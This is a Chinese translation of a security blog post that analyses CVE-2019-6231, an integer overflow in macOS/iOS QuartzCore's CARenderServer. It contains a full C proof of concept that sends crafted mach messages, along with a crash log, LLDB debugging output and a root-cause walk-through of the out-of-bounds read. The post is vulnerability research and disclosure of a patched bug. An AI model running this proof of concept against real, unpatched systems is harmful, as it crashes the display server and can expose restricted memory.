在2019年1月22日,Apple发布了macOS Mojave 10.14.3和iOS 12.1.3版本。 这两个版本修复了许多安全漏洞,包括QuartzCore
(又名CoreAnimation
)中的CVE-2019-6231
。 (有关Apple更新的更多详细信息,请访问: https://support.apple.com/en-us/HT209446和https://support.apple.com/en-us/HT209443)
研究人员在2018年12月14日的macOS Mojave 10.14.2中发现了这个漏洞,并于2018年12月21日向苹果公司报告了这个问题。然而,Apple回答说这个问题已在12月发布的macOS Mojave 10.14.3测试版中得到修复。 在这篇博客中,我将在macOS上详细分析此漏洞。
QuartzCore
,也称为CoreAnimation
,是macOS和iOS用来创建动画场景图形的框架。CoreAnimation
使用独特的渲染模型,其中图形操作是单独运行的。在macOS上,该过程类似于WindowServer。在iOS上,该过程是在后台运行的。QuartzCore
中名为com.apple.CARenderServer
的服务通常被称为CARenderServer
。 此服务存在于macOS和iOS中,普通用户可以从Safari Sandbox处访问。 当QuartzCore
处理函数CA::Render::Image::decode()
中的图像对象时,也存在整数溢出的情况。 这会导致恶意应用程序能够读取受限制的内存。
以下是触发此问题时进程WindowServer的奔溃日志。
Process: WindowServer [57329]
Path: /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/Resources/WindowServer
Identifier: WindowServer
Version: 600.00 (337.5)
Code Type: X86-64 (Native)
Parent Process: launchd [1]
Responsible: WindowServer [57329]
User ID: 88
Date/Time: 2018-12-14 16:51:08.093 -0800
OS Version: Mac OS X 10.14.2 (18C54)
Report Version: 12
Anonymous UUID: 0D2EB0AC-26C3-9DBB-CEF0-0060FA5B3A8B
Sleep/Wake UUID: 7F5E9869-8B81-4B2F-8BBC-54048DE83A26
Time Awake Since Boot: 15000 seconds
Time Since Wake: 7000 seconds
System Integrity Protection: disabled
Crashed Thread: 2 com.apple.coreanimation.render-server
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Codes: KERN_INVALID_ADDRESS at 0x0000008000000018
Exception Note: EXC_CORPSE_NOTIFY
Termination Signal: Segmentation fault: 11
Termination Reason: Namespace SIGNAL, Code 0xb
Terminating Process: exc handler [57329]
外部修改警告:
外部任务创建线程。
调试器附加到进程。
VM Regions Near 0x8000000018:
CoreAnimation 00000001b692e000-00000001bb837000 [ 79.0M] rw-/rw- SM=PRV
-->
STACK GUARD 0000700009f5e000-0000700009f5f000 [ 4K] ---/rwx SM=NUL stack guard for thread 6
特定的应用信息:
StartTime:2018-12-14 16:28:00
GPU:IG
MetalDevice for accelerator(0x3633): 0x7fd12a62bd58 (MTLDevice: 0x7fd12b035c00)
IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/IGPU@2/AppleIntelFramebuffer@0
Thread 0:: Dispatch queue: com.apple.main-thread
0 libsystem_kernel.dylib 0x00007fff762f717a mach_msg_trap + 10
1 libsystem_kernel.dylib 0x00007fff762f76d0 mach_msg + 60
2 com.apple.SkyLight 0x00007fff6f2c95fc run_one_server_pass + 337
3 com.apple.SkyLight 0x00007fff6f2c9436 CGXRunOneServicesPass + 460
4 com.apple.SkyLight 0x00007fff6f2ca0bc server_loop + 96
5 com.apple.SkyLight 0x00007fff6f2ca055 SLXServer + 1149
6 WindowServer 0x000000010d30e4d0 0x10d30d000 + 5328
7 libdyld.dylib 0x00007fff761bded9 start + 1
Thread 1:
0 libsystem_kernel.dylib 0x00007fff762f717a mach_msg_trap + 10
1 libsystem_kernel.dylib 0x00007fff762f76d0 mach_msg + 60
2 com.apple.CoreDisplay 0x00007fff48f09851 0x7fff48e57000 + 731217
3 com.apple.CoreDisplay 0x00007fff48f099af 0x7fff48e57000 + 731567
4 libsystem_pthread.dylib 0x00007fff763b1305 _pthread_body + 126
5 libsystem_pthread.dylib 0x00007fff763b426f _pthread_start + 70
6 libsystem_pthread.dylib 0x00007fff763b0415 thread_start + 13
Thread 2 Crashed:: com.apple.coreanimation.render-server
0 com.apple.CoreFoundation 0x00007fff48f45575 CFRetain + 15
1 com.apple.QuartzCore 0x00007fff540e674f CA::Render::Decoder::decode_colorspace() + 87
2 com.apple.QuartzCore 0x00007fff5411f826 CA::Render::Texture::decode(CA::Render::Decoder*) + 50
3 com.apple.QuartzCore 0x00007fff5400a112 CA::Render::Image::decode(CA::Render::Decoder*) + 1104
4 com.apple.QuartzCore 0x00007fff540e6d33 CA::Render::Decoder::decode_object(CA::Render::Type) + 1075
5 com.apple.QuartzCore 0x00007fff540e6983 CA::Render::Decoder::decode_object(CA::Render::Type) + 131
6 com.apple.QuartzCore 0x00007fff5401d858 CA::Render::Layer::Layer(CA::Render::Decoder*) + 116
7 com.apple.QuartzCore 0x00007fff540e6daf CA::Render::Decoder::decode_object(CA::Render::Type) + 1199
8 com.apple.QuartzCore 0x00007fff540e78a8 CA::Render::decode_commands(CA::Render::Decoder*) + 329
9 com.apple.QuartzCore 0x00007fff5409fb10 CA::Render::Server::ReceivedMessage::run_command_stream() + 748
10 com.apple.QuartzCore 0x00007fff53f90358 CA::Render::Server::server_thread(void*) + 1968
11 com.apple.QuartzCore 0x00007fff53f8fb92 thread_fun(void*) + 25
12 libsystem_pthread.dylib 0x00007fff763b1305 _pthread_body + 126
13 libsystem_pthread.dylib 0x00007fff763b426f _pthread_start + 70
14 libsystem_pthread.dylib 0x00007fff763b0415 thread_start + 13
Thread 3:…….
[truncated]
可以看出,崩溃发生在线程“com.apple.coreanimation.render-server
”中。 mach服务“com.apple.CARenderServer
”是在/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore
中实现的。 在函数(CA::Render::Server *this, const char *a2)
中,它能够注册服务“com.apple.CARenderServer
”。
服务器线程在函数CA::Render::Server:: server_thread
中实现。 它用于从客户端接收mach消息,然后处理这些消息。 当线程收到带有msgh_id 40002或40003的mach消息时,这可以调用函数CA::Render::Server::ReceivedMessage::run_command_stream(CA::Render::Server::ReceivedMessage *this)
来处理命令。
而此漏洞存在于函数CA::Render::Server:: ReceivedMessage:: run_command_stream
中处理命令流的过程中。
在下一节中,我将演示如何使用PoC来触发此漏洞。 PoC如下所示。
#include <stdio.h>
#include <mach/i386/kern_return.h>
#include <mach/mach_traps.h>
#include <servers/bootstrap.h>
#include <dirent.h>
#include <sys/stat.h>
#include <time.h>
#include <dlfcn.h>
#include <unistd.h>
typedef struct quartz_register_client_s quartz_register_client_t;
struct quartz_register_client_s {
mach_msg_header_t header;
uint32_t body;
mach_msg_port_descriptor_t ports[4];
char padding[12];
};
typedef struct quartzcore_mach_msg quartzcore_mach_msg_t;
struct quartzcore_mach_msg{
mach_msg_header_t header;
char msg_body[712];
};
uint64_t get_filesize(const char *fn){
struct stat st;
stat(fn, &st);
uint64_t fsize = st.st_size;
return fsize;
};
int main(int argc, const char * argv[]) {
mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;
task_get_bootstrap_port(mach_task_self(), &bs_port);
const char *render_service_name = "com.apple.CARenderServer";
kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) = dlsym(RTLD_DEFAULT, "bootstrap_look_up");
kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);
if (kr != KERN_SUCCESS) {
return -1;
}
printf("[*] Get service of %s successully!\n", render_service_name);
quartz_register_client_t msg_register;
memset(&msg_register, 0, sizeof(msg_register));
msg_register.header.msgh_bits =
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |
MACH_MSGH_BITS_COMPLEX;
msg_register.header.msgh_remote_port = p;
msg_register.header.msgh_local_port = mig_get_reply_port();
msg_register.header.msgh_id = 40202; // _XRegisterClient
msg_register.body = 4;
msg_register.ports[0].name = mach_task_self();
msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[1].name = mach_task_self();
msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[2].name = mach_task_self();
msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;
msg_register.ports[3].name = mach_task_self();
msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;
msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;
kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,
sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),
msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
return -1 ;
}
mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);
uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);
printf("[*] context_port: 0x%x, conn_id: 0x%x\n",context_port,conn_id);
char *crash_log = "crash.data"; //size is 736.
FILE *fp = fopen(crash_log, "rb");
if(fp == NULL){
printf("fopen error!\n");
}
uint64_t fsize = get_filesize(crash_log);
void *msg_buf = malloc(fsize);
memset(msg_buf, 0, fsize);
fread(msg_buf, fsize, 1, fp);
quartzcore_mach_msg_t qc_mach_msg = {0};
qc_mach_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
qc_mach_msg.header.msgh_remote_port = context_port;
qc_mach_msg.header.msgh_id = 40002;
memset(qc_mach_msg.msg_body, 0x0, sizeof(qc_mach_msg.msg_body));
*(uint32_t *)(qc_mach_msg.msg_body + 0) = 0x1; // Ports count
memcpy(qc_mach_msg.msg_body+4+12, msg_buf+0x1c+0xc, 736-0x1c-0xc);
*(uint32_t *)(qc_mach_msg.msg_body + 4 + 12 + 4) = conn_id;
kr = mach_msg(&qc_mach_msg.header, MACH_SEND_MSG,736, 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
printf("[-] Send message failed: 0x%d\n", kr);
return -1 ;
}
return 0;
}
初始的mach消息和精心制作的mach消息之间的比较如下所示。
通过二进制diff工具,我们只需要将偏移量0x142
处的一个字节从0x00修改为0x80,以触发此漏洞。
如PoC的C代码所示,为了发送精心设计的mach消息以触发,我们首先需要发送带有msgh_id 40202
的mach消息(
服务器中相应的处理程序是_XRegisterClient
)以检索每个新的连接ID 连接客户端。
一旦我们获得了连接id的值,我们就将这个值设置为mach消息中的相应偏移量(0x2C)。 最后,我们发送此消息以触发漏洞。
在本节中,我将使用LLDB
来动态调试此漏洞并找出其根本原因。 请注意,我们在这里需要通过SSH模式
调试WindowServer
进程。
使用崩溃日志中崩溃线程的堆栈回溯操作,我们可以使用以下命令在函数CA::Render::Server::ReceivedMessage::run_command_stream
中设置条件断点。
br s -n CA::Render::Server::ReceivedMessage::run_command_stream
br mod -c '*(int*)($r13+0x2c) == [conn_id]'
conn_id
的值可以通过在PoC的C代码中的第112行设置断点来获得。
在此断点被击中后,我们可以读取已发送的消息缓冲区中的数据。 寄存器r13指向系统消息。
(lldb) c
Process 172 resuming
Process 172 stopped
* thread #3, name = 'com.apple.coreanimation.render-server', stop reason = breakpoint 1.1
frame #0: 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()
QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream:
-> 0x7fff3fca6824 <+0>: pushq %rbp
0x7fff3fca6825 <+1>: movq %rsp, %rbp
0x7fff3fca6828 <+4>: pushq %r15
0x7fff3fca682a <+6>: pushq %r14
Target 0: (WindowServer) stopped.
(lldb) re read
General Purpose Registers:
rax = 0x0000000000000000
rbx = 0x0000000000009c42
rcx = 0x0000000000000002
rdx = 0x000000000000c203
rdi = 0x000070000cc52ca0
rsi = 0x000000000000c203
rbp = 0x000070000cc52ef0
rsp = 0x000070000cc51c78
r8 = 0x000000000001450b
r9 = 0x0000000000000000
r10 = 0x0000000000001000
r11 = 0x0000000000000202
r12 = 0x0000000000000000
r13 = 0x000070000cc51ca0
r14 = 0x00007fff8ece4b20 QuartzCore`CA::Render::Server::_callback_lock
r15 = 0x00007fd93f2f5300
rip = 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()
rflags = 0x0000000000000293
cs = 0x000000000000002b
fs = 0x0000000000000000
gs = 0x0000000000000000
(lldb) x -c 0x2e0 0x000070000cc51ca0
0x70000cc51ca0: 00 11 00 80 e0 02 00 00 00 00 00 00 2f d5 12 00 ....?......./?..
0x70000cc51cb0: 00 00 00 00 42 9c 00 00 01 00 00 00 00 00 00 00 ....B...........
0x70000cc51cc0: 00 00 00 00 00 00 00 00 01 00 00 00 97 9b 35 60 ..............5`
0x70000cc51cd0: 3b fe 27 59 18 ae 77 40 01 f0 9b 00 06 7f 7f 00 ;?'Y.?w@.?......
0x70000cc51ce0: 00 c3 01 00 00 01 30 97 00 06 7f 7f 00 00 c4 01 .?....0.......?.
0x70000cc51cf0: 00 00 02 40 be 30 06 7f 7f 00 00 a5 01 00 00 1c ...@?0.....?....
0x70000cc51d00: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d10: 00 00 ff 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 ..?...??.,?.....
0x70000cc51d20: 00 f0 00 00 00 00 00 68 84 40 00 00 00 00 00 20 .?.....h.@.....
0x70000cc51d30: 7c 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |@..............
0x70000cc51d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 20 ...............
0x70000cc51d60: 00 02 f0 bb 30 06 7f 7f 00 00 a6 01 00 00 1c 02 ..?0.....?.....
0x70000cc51d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51d80: 00 ff 00 02 01 c9 e7 03 2c d0 01 04 00 00 00 00 .?...??.,?......
0x70000cc51d90: f0 00 00 00 00 00 40 46 40 00 00 00 00 00 00 22 ?.....@F@......"
0x70000cc51da0: 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @...............
0x70000cc51db0: 00 00 00 00 00 00 40 56 40 00 00 00 00 00 00 32 ......@[email protected]
0x70000cc51dc0: 40 fe 60 9d 21 06 7f 7f 00 00 c5 01 00 00 16 00 @?`.!.....?.....
0x70000cc51dd0: 14 01 01 b2 00 00 00 24 00 00 00 00 03 00 00 00 ...?...$........
0x70000cc51de0: 00 00 80 01 fe e0 1d 20 06 7f 7f 00 00 c6 01 00 ....??. .....?..
0x70000cc51df0: 00 2d 39 00 00 6d 00 00 00 00 00 00 00 00 00 00 .-9..m..........
0x70000cc51e00: 00 00 00 00 03 00 00 80 3f 00 00 00 00 00 00 00 ........?.......
0x70000cc51e10: 00 00 00 80 3f 00 00 80 3f 00 00 80 3f 00 00 80 ....?...?...?...
0x70000cc51e20: 3f 00 00 00 00 00 00 00 00 00 00 19 00 20 00 02 ?............ ..
0x70000cc51e30: c0 ba 30 06 7f 7f 00 00 a9 01 00 00 1c 02 00 00 ??0.....?.......
0x70000cc51e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ...............?
0x70000cc51e50: 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 ...??.,?......?.
0x70000cc51e60: 00 00 00 00 64 84 40 00 00 00 00 00 10 77 40 00 [email protected]@.
0x70000cc51e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51e80: 00 00 00 00 40 56 40 00 00 00 00 00 00 32 40 00 ....@[email protected]@.
0x70000cc51e90: 00 00 00 00 00 00 00 00 00 00 18 00 20 00 02 80 ............ ...
0x70000cc51ea0: b4 30 06 7f 7f 00 00 bf 01 00 00 1c 02 00 00 00 ?0.....?........
0x70000cc51eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 ..............?.
0x70000cc51ec0: 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 ..??.,?......?..
0x70000cc51ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f00: 00 00 00 00 00 00 00 00 00 00 00 20 00 02 90 b1 ........... ...?
0x70000cc51f10: 11 06 7f 7f 00 00 c0 01 00 00 1c 02 00 00 00 00 ......?.........
0x70000cc51f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 01 .............?..
0x70000cc51f30: 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 00 .??.,?......?...
0x70000cc51f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x70000cc51f70: 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 .......... .....
(lldb)
函数CA::Render::Decoder::decode_object(CA::Render::Decoder *this, CA::Render::Decoder *a2)
用于解码所有类型的对象数据。 从偏移量0x70000cc51d6e
开始的缓冲区数据是一个Layer对象(标记为绿色)。
以下代码分支用于解析Layer对象数据。
我们来看看如何处理这个Layer对象。 以下列表说明了Layer对象中字段的含义。
函数CA::Render::Layer::Layer(CA::Render::Layer *this, CA::Render::Decoder *a2)
的实现如下所示。
我们可以看到下一个数据仍然代表一个对象。 接下来,让我们继续跟踪下一个数据的处理方式。
下一个数据仍然代表一个对象。 此对象中的第一个字节表示对象的类型。 字节0x16表示该对象是Image对象,如下所示。
接下来,让我们看一下CA::Render::Image::decode()
函数如何解码Image对象。
以下列表说明了Image对象中每个字段的含义。
我们可以看到数据的8个字节(00 03 00 00 00 00 00 80)
被解码为size_t类型,并且其值被设置为异常。
在图中,变量v9等于0x8000000000000300
,它作为参数传递给函数CA::Render::validate_rowbytes
。
现在让我们仔细看看CA::Render::validate_rowbytes
函数如何处理这个值。
在这里我们很容易发现算术运算a2 * *(_QWORD *)(a3 + 8LL * v4)
是作为整数溢出而存在。 此时,变量a2等于0x24并且可以通过调用CA::Render::Decoder::decode_int32()
来获得,如图所示。因此,由于变量v6的值等于0 而溢出。 然后该函数返回0,导致下一个程序执行流程发生变化。 通常,它应该返回1.让我们回到图中来看看执行流程的变化。
因为函数CA::Render::validate_rowbytes
由于整数溢出而返回0,所以稍后系统可以转到LABEL_31
处。 然后它可以调用函数CA::Render::Texture::decode() 来解码下一个缓冲区的数据。 以下是函数
CA::Render::Texture::decode`的实现。
然后它可以调用函数CA::Render::Decoder::decode_colorspace
来解码带有颜色的数据。
让我们完整分析一下这个功能。 它首先解码一个int8类型的整数并得到结果0x01。 然后它可以执行case 1分支。 变量v3的值等于0xFE。 然后它可以调用函数CAGetColorSpace
来获取颜色空间的数据。
此处索引值等于0xfe,实际上这里的值大于有颜色数组的最大索引,从而能够读取受限制的内存数据。
要读取的受限存储器的地址等于0x291EE0(0x2916F0 + 0xFE * 8)
。
因此函数CAGetColorSpace
的返回值等于0x8000000010
。 显然,这是一个无效的内存地址。 当此地址作为参数传递给CFRetain函数时,它可能导致EXC_BAD_ACCESS
异常。
我们现在已经完成了对此漏洞的详细分析。 虽然此漏洞同时影响macOS和iOS,但在本博客中,我只在macOS中进行了演示和分析。
macOS Sierra 10.12.6,macOS High Sierra 10.13.6,macOS Mojave 10.14.2
iPhone 5s及更高版本,iPad Air及更高版本,以及iPod touch第6代
https://support.apple.com/en-us/HT209446
https://support.apple.com/en-us/HT209443
https://ssd-disclosure.com/index.php/archives/3796
本文翻译自https://www.fortinet.com/blog/threat-research/detailed-analysis-of-macos-ios-vulnerability-cve-2019-6231.html